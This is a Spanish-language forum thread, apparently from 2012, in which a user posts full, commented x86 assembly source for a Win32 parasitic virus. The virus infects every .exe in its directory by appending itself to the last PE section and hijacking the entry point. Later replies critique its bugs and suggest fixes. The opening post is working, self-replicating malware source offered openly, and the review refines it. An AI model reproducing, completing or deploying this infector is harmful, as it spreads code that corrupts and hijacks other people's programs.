Título: Virus parasitario (infector de .EXE)
Publicado por: Binary_Death en 29 Abril 2012, 02:45 am
Es un PoC de virus para win32 poco original, infecta todos los .exe del directorio añadiendo su código al final de la última sección del ejecutable host. EDIT: Lo he comentado por completo, porque si no es muy difícil de leer :D .386 .model flat, stdcall option casemap:none assume fs:nothing .code vx_code: start_vx_code: call _delta _delta: ;Get the delta offset pop ebp sub ebp, offset _delta ;MyEntryPoint would be saved ;in HostEntryPoint if the current ;file were infected mov eax, [ebp + HostEntryPoint] mov [ebp + MyEntryPoint], eax ;Call to _GtGetProcAddress ;to find out Kernel32 base ;and GetProcAddress Address call _GtGetProcAddress mov [ebp + GtProcAdH], eax mov [ebp + Kernel32H], edx call _GtRequiredAPIs _FindFirst: ;Find first file, loading the parameters ;according to ebp, delta offset lea ebx, [ebp + win32_find_data] lea edx, [ebp + filter] push ebx push edx call [ebp + FindFirstFileAH] ;If it hasn't found any file ;return to the host file code cmp eax, -1 jz end_vx ;Else save the Handle in FileHandleFind mov [ebp + FileHandleFind], eax ;And call infect_file to try to infect it call infect_file _FindNext: ;Load the parameters for FindNextFileA and call it lea ebx, [ebp + win32_find_data] mov edx, [ebp + FileHandleFind] push ebx push edx call [ebp + FindNextFileAH] ;If it hasn't found anything else, return cmp eax, 00h jz end_vx ;Else try to infect the file call infect_file ;Search more files jmp _FindNext retn end_vx: ;If delta offset is 00h ;the virus is not running on ;another executable, so exit to OS cmp ebp, 00h jnz return retn return: ;Else access to TIB to get ;the current ImageBase mov eax, fs:[030h] mov eax,[eax + 08h] ;And add it to MyEntryPoint add [ebp + MyEntryPoint], eax ;To jump jmp dword ptr[ebp + MyEntryPoint] _procedures: _GtGetProcAddress: ;To get kernel32 ImageBase ;Looking at the PEB mov ebx, fs:[030h] mov ebx, [ebx + 0ch] mov ebx, [ebx + 0ch] mov ebx, [ebx + 00h] mov ebx, [ebx + 00h] mov eax, [ebx + 18h] ;To get export table address mov ebx, [eax + 3Ch] add ebx, eax mov ebx, [ebx + 78h] add ebx, eax ;Save that address push ebx ;Pointer to AddressOfNames mov ebx, [ebx + 20h] add ebx, eax xor edx, edx _loop: ;Each entry of AddressOfNames ;Is a pointer to one string ;which has the name of one API lea esi, [ebp + GpaName] mov edi, [ebx + edx] add edi, eax mov ecx, 0Fh add edx, 04h repz cmpsb jnz _loop sub edx, 04h ;Divide edx by 2 to use it as ;an index in AddressOfNameOrdinals ;(2 bytes by entry) shr edx, 01h ;Restore ExportTable address pop ebx ;Access to AddressOfNameOrdinals mov edi, [ebx + 24h] add edi, eax ;To get the index that is going ;to be used in AddressOfFunctions movzx edx, word ptr[edi + edx] ;Each entry is 4 bytes long shl edx, 02h ;Load AddressOfFunctions address in edi mov edi, [ebx + 1Ch] add edi, eax ;Load GetProcAddress address in edi mov edi, [edi + edx] add edi, eax ;edx = Kernel base ;eax = GetProcAddress address mov edx, eax mov eax, edi retn _GtRequiredAPIs: ;Source registry points to ApiListH (where the APIs handles will be) ;Destiny registry points to ApiListN (where the APIs names are) lea edi, [ebp + ApiListN] lea esi, [ebp + ApiListH] ;Ebx contains Kernel32 base mov ebx, [ebp + Kernel32H] GetAPI_Loop: ;Push the Kernel base and ;the API name to get its address push edi push ebx call [ebp + GtProcAdH] ;Save the adress where source registry points mov [esi], eax ;Find the next API in the list pointed by edi xor eax, eax repnz scasb ;Esi points to the next handle to fill up add esi, 04h ;If it's not the end of the list ;get the next API, else return cmp byte ptr[edi], 00h jnz GetAPI_Loop retn infect_file: ;VirusHostSize contains the size of the virus ;plus the size of the host mov ebx, VirusSize add ebx, [ebp + win32_find_data.nFileSizeLow] mov [ebp + VirusHostSize], ebx ;Open the file to read and write on it ;And shared on reading push 00h push 00h push 03h push 00h push 01h push 0C0000000h lea ebx, [ebp + win32_find_data.cFileName] push ebx call [ebp + CreateFileAH] ;If the file could not be opened ;jump to end_infect_file to search more files cmp eax, -1 jz end_infect_file ;Else save the handle in FileHandleCreate mov [ebp + FileHandleCreate], eax ;Push the file size to the stack and map the file in memory ;Eax will contain the base address of the mapped file push [ebp + win32_find_data.nFileSizeLow] call map_file_in_memory ;Is it an executable file? cmp word ptr[eax], "ZM" ;Otherwise close the handles and return jnz close_view ;Ebx contains the address where the PE files ;header begins mov ebx, [eax + 3Ch] add ebx, eax ;If it's not a PE file close the handles and return cmp word ptr[ebx], "EP" jnz close_view ;If the file is already infected ;close the handles and return cmp dword ptr[eax + 6Ch], "hDyB" jz close_view ;falignvalue will contain the FileAlignment ;and salignvalue will contain the SectionAlignment mov eax, [ebx + 3Ch] mov [ebp + falignvalue], eax mov eax, [ebx + 38h] mov [ebp + salignvalue], eax ;Get the new size of the file ;that is, the VirusHostSize rounded up ;to the FileAlignment push dword ptr[ebp + VirusHostSize] push dword ptr[ebp + falignvalue] call _alignment ;And push it to the stack push eax ;Unmap the file push [ebp + MappedFile] call [ebp + UnmapViewOfFileH] push [ebp + FileHandleMap] call [ebp + CloseHandleH] ;And map it again with the new size call map_file_in_memory ;Save the base address of the mapped file push eax ;Mark the file with the signature ByDh mov dword ptr[eax + 6Ch], "hDyB" ;Ebx contains the PE header address mov ebx, [eax + 3Ch] add ebx, eax ;Save this address push ebx ;Move to edx the size of optional header movzx edx, word ptr[ebx + 14h] ;Load in esi the address of the first structure ;of the PE Section Table ;(PEHeader + SizeOfOptionalHeader + PEHeaderSize) lea esi, [ebx + edx + 18h] ;And push it to stack to use it later push esi ;Move to ecx NumberOfSections movzx ecx, word ptr[ebx + 06h] ;And push it to stack to use it later push ecx ;Eax = 00h, and it will contain ;the highest PointerToRawData xor eax, eax _SectionsLoop: ;Compare the current biggest pointer ;with the PointerToRawData of the next section cmp [esi + 14h], eax ;If it isn't bigger jump to _notbigger jb _notbigger ;Else save ecx (index of current section) in ebx ;And move that pointer to eax mov ebx, ecx mov eax, [esi + 14h] _notbigger: ;Esi points to the next section table add esi, 28h loop _SectionsLoop ;Eax = NumberOfSections pop eax ;Subtract ebx from the NumbersOfSections ;and multiply it by 28h sub eax, ebx mov ecx, 28h mul ecx ;Restore esi (the pointer to the first table) ;and add eax to make it point to the table which has ;the highest PointerToRawData pop esi add esi, eax ;Ebx contains VirtualSize, save it into the stack mov ebx, [esi + 08h] push ebx ;New VirtualSize = Old VirtualSize + VirusSize add ebx, VirusSize mov [esi + 08h], ebx ;Eax contains the new VirtualSize ;Rounded up to FileAlignment push ebx push [ebp + falignvalue] call _alignment ;That is, it's the new SizeOfRawData ;so change it up mov [esi + 10h], eax ;ecx = Old VirtualSize ;ebx = PE Header Address pop ecx pop ebx ;Save the EntryPoint of the file ;in HostEntryPoint mov edx, [ebx + 28h] mov [ebp + HostEntryPoint], edx ;edx = VirtualAddress + VirtualSize mov edx, [esi + 0Ch] add edx, ecx ;That is, the new EntryPoint ;so change it up mov [ebx + 28h], edx ;Save PE Header Address into the stack push ebx ;eax = New VirtualSize + VirtualAddress mov eax, [esi + 08h] add eax, [esi + 0Ch] ;Get the new SizeOfImage, ;[[(VirtualSize+VirtualAddress)/0x1000]+1]*0x1000 push eax push [ebp + salignvalue] call _alignment ;Set the new SizeOfImage pop ebx mov [ebx + 50h], eax ;Last section characteristics: ;CODE|EXECUTE|READ|WRITE or dword ptr[esi + 24h], 0E0000020h ;eax = Base Address of mapped file pop eax ;ebx = PointerToRawData mov ebx, [esi + 14h] ;ebx = Base Address + PointerToRawData + Old VirtualSize lea ebx, [eax + ebx] add ebx, ecx ;Copy the virus code in the host code ;esi = beginning of the virus code ;edi = end of the last section lea esi, [ebp + start_vx_code] mov edi, ebx mov ecx, VirusSize rep movsb ;Close all the handles jmp close_all _alignment: ;The formula to align a value is: ;AlignedValue = [(Value/Alignment)+1]*Alignment ;Save the returning address in edi pop edi ;Get the value to align and the alignment pop ebx pop eax xor edx, edx div ebx cmp edx, 00h jz _align inc eax _align: xor edx, edx mul ebx ;Push the returning address ;and jump to it push edi retn map_file_in_memory: ;esi = returning address ;edi = mapping size pop esi pop edi ;Create the file mapping object push 00h push edi push 00h push 04h push 00h push [ebp + FileHandleCreate] call [ebp + CreateFileMappingAH] cmp eax, 00h jz close_file mov [ebp + FileHandleMap], eax ;And create a view of the file ;using the size in edi push edi push 0 push 0 push 000F001Fh push [ebp + FileHandleMap] call [ebp + MapViewOfFileH] cmp eax, 00h jz close_filemap mov [ebp + MappedFile], eax ;Set the returning address ;and jump to it push esi retn ;Chain of functions which close the appropiate handles close_all: close_view: push [ebp + MappedFile] call [ebp + UnmapViewOfFileH] close_filemap: push [ebp + FileHandleMap] call [ebp + CloseHandleH] close_file: push [ebp + FileHandleCreate] call [ebp + CloseHandleH] end_infect_file: retn _data: Kernel32H dd ? GtProcAdH dd ? GpaName db "GetProcAddress",0 ExitProcessN db "ExitProcess",0 ApiListN db "FindFirstFileA",0 db "FindNextFileA",0 db "CreateFileA",0 db "CreateFileMappingA",0 db "MapViewOfFile",0 db "CloseHandle",0 db "UnmapViewOfFile",0 db 0 ApiListH: FindFirstFileAH dd ? FindNextFileAH dd ? CreateFileAH dd ? CreateFileMappingAH dd ? MapViewOfFileH dd ? CloseHandleH dd ? UnmapViewOfFileH dd ? filter db "*.exe",0 FileHandleFind dd ? FileHandleCreate dd ? FileHandleMap dd ? MappedFile dd ? VirusSize equ end_vx_code - start_vx_code VirusHostSize dd ? falignvalue dd ? salignvalue dd ? HostEntryPoint dd 0 MyEntryPoint dd 0 filetime struct FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? filetime ends find_data struct dwFileAttributes dd ? ftCreationTime filetime <?> ftLastAccessTime filetime <?> ftLastWriteTime filetime <?> nFileSizeHigh dd ? nFileSizeLow dd ? dwReserved0 dd ? dwReserved1 dd ? cFileName db 512 dup (?) cAlternateFileName db 14 dup (?) find_data ends win32_find_data find_data <?> end_vx_code: end vx_code
Agradecería mucho que me comentarais los muchos fallos que seguro hay. Un saludo!
Título: Re: Virus parasitario (infector de .EXE)
Publicado por: the_scar en 29 Abril 2012, 23:03 pm
Muy buen virus parasitario colega, jodedor, jodedor...
copiando y pegando en mi radasm, despues lo ejecutare para ver si me optimiza el guindows y me acelera la conexión de ***** que tengo.
Título: Re: Virus parasitario (infector de .EXE)
Publicado por: Binary_Death en 4 Mayo 2012, 19:44 pm
Muy buen virus parasitario colega, jodedor, jodedor...
copiando y pegando en mi radasm, despues lo ejecutare para ver si me optimiza el guindows y me acelera la conexión de ***** que tengo.
No es un virus, sólo es un prototipo. Ni jodedor tampoco es, de hecho no hace nada salvo cargarse un par de ejecutables con EOF. Es lo que hay. Intentaré en los próximos días (o semanas, depende de como vaya de tiempo) hacer uno que se copie en los espacios que hay entre sección y sección debido al alineamiento en disco, y que si no encuentra suficiente espacio en ningún hueco recurrirá a añadirse al final de la última sección, como hace el aquí presente. Saludos.
Título: Re: Virus parasitario (infector de .EXE)
Publicado por: SEL1 en 15 Mayo 2012, 17:21 pm
A muy simple vista el codigo tiene muchos bugs, por ejemplo, la marca "PE" no es un WORD es un DWORD. El codigo no usa SEH, y si lo usara en archivos infectados igual caeria porque no soporta NO_SEH ni SafeSEH...
Otra cosa muy extraña es que buscaste la ultima sección mas "alta" haciendo un loop cuando pudiste hacer ((NumberOfSections-1) * sizeof IMAGE_SECTION_HEADER)) y desde IMAGE_NT_HEADERS ir hasta la ultima sección sin ningun loop. Lo otro es que una sección alta en memoria puede estar antes que una mas baja... con algunos trucos. ;) Tampoco necesitabas alinear SizeOfImage, solamente tomar la nueva y alineada VirtualSize y sumarla a la VirtualAddress de la ultima sección.
Luego vere bien el codigo.
Título: Re: Virus parasitario (infector de .EXE)
Publicado por: Binary_Death en 15 Mayo 2012, 17:38 pm
El campo PE sí que es un DWORD, pero la cadena PE es un WORD es toda regla, ocupa 2 bytes, por tanto no es un error.
Busqué la sección con un PointerToRawData más grande porque esta es la última sección en disco, y a no ser que el fichero tenga EOF (que es probable y es algo que ya me hicieron notar y arreglaré en otros códigos) funcionará bien.
Usé ese loop porque resulta que no siempre la última estructura IMAGE_SECTION_HEADER es la que tiene el PointerToRawData mayor, aunque suele ser así no es estrictamente cierto en todos los casos, si bien en la mayoría de ellos funcionaría tal como dijiste.
No coloco ningún SEH porque generalmente eso se hacía cuando buscabas la base de kernel32.dll en memoria por el método tradicional, viendo la dirección que pusheo el sistema operativo en la pila para retornar a ella y a partir de ahí retrocediendo hasta encontrar el campo MZ, pero en este caso por cortesía de The Swash uso otro método, de forma que no accedo a memoria que no tenga permisos de lectura.
Aunque sin embargo es muy cierto que no estaría de más ponerle un manejador de excepciones.
El código lo testeé en varios sistemas y en ninguno dio problemas más allá de lo comentado con ejecutables un poco especiales :P
PD: Falta decir, que si no vigilo con el SizeOfImage me voy a cargar muchísimos ejecutables. De hecho, en un principio me olvidé de eso y petó en cuanto intenté infectar la calculadora xDDD Un saludo!
Título: Re: Virus parasitario (infector de .EXE)
Publicado por: SEL1 en 15 Mayo 2012, 18:41 pm
El campo PE sí que es un DWORD, pero la cadena PE es un WORD es toda regla, ocupa 2 bytes, por tanto no es un error.
La documentación especifica que es un DWORD "PE\0\0" por lo tanto deberías atenerte a lo que dicen los documentos. El otro WORD que no checkeas podría contener cualquier cosa. No coloco ningún SEH porque generalmente eso se hacía cuando buscabas la base de kernel32.dll en memoria por el método tradicional, viendo la dirección que pusheo el sistema operativo en la pila para retornar a ella y a partir de ahí retrocediendo hasta encontrar el campo MZ, pero en este caso por cortesía de The Swash uso otro método, de forma que no accedo a memoria que no tenga permisos de lectura.
Pongamoslo así... para comenzar... cuando abrís el archivo y tomas e_lfanew, si el campo contiene un valor invalido que sobrepase el tamaño del mapa: estas muerto.
Título: Re: Virus parasitario (infector de .EXE)
Publicado por: Binary_Death en 15 Mayo 2012, 19:04 pm
Que no está demás, no, estaría bien añadir un manejador de excepciones, ya dije, siempre hay que ser precavido y pensar que si algo puede salir mal, saldrá mal, pero esto es una prueba de concepto.
Respecto a lo de checkear el otro WORD de PE\0\0, después de hacer algunas comprobaciones, es cierto, mas vale prevenir y comparar todo el DWORD por si acaso ;)
¡Un saludo y gracias por mirarte el código!
PD: Me temo que si el valor e_lfanew es inválido, a parte de que el fichero está corrompido, no serviría mucho ponerle un SEH, porque podría acceder a cualquier parte y montar un buen lío. Habría que hacer unas comparaciones para ver si está dentro del mapeado del fichero, pero aún así podría ser inválido y apuntar a cualquier offset del fichero, con lo que me lo cargaría también. En resumen: es bastante fastidiado encontrarse con campos inválidos, pero generalmente no será así porque si no el ejecutable ya de por sí estaría roto.
Título: Re: Virus parasitario (infector de .EXE)
Publicado por: The Swash en 20 Mayo 2012, 08:08 am
Es cierto, el campo l_fanew apuntará siempre a la cabecera NT_HEADERS, donde el primer campo es PEx00x00, Es necesariamente obligatorio que apunté al inicio con esa "firma". De lo contrario el ejecutable no funcionaría, y si lo hace podría ser una malformación que podría estudiarse, pero comúnmente no!. Ahora Una casualidad es que el campo siempre inicia en un múltiplo de 4 ^^ (NT_HEADERS).
Un saludo.
|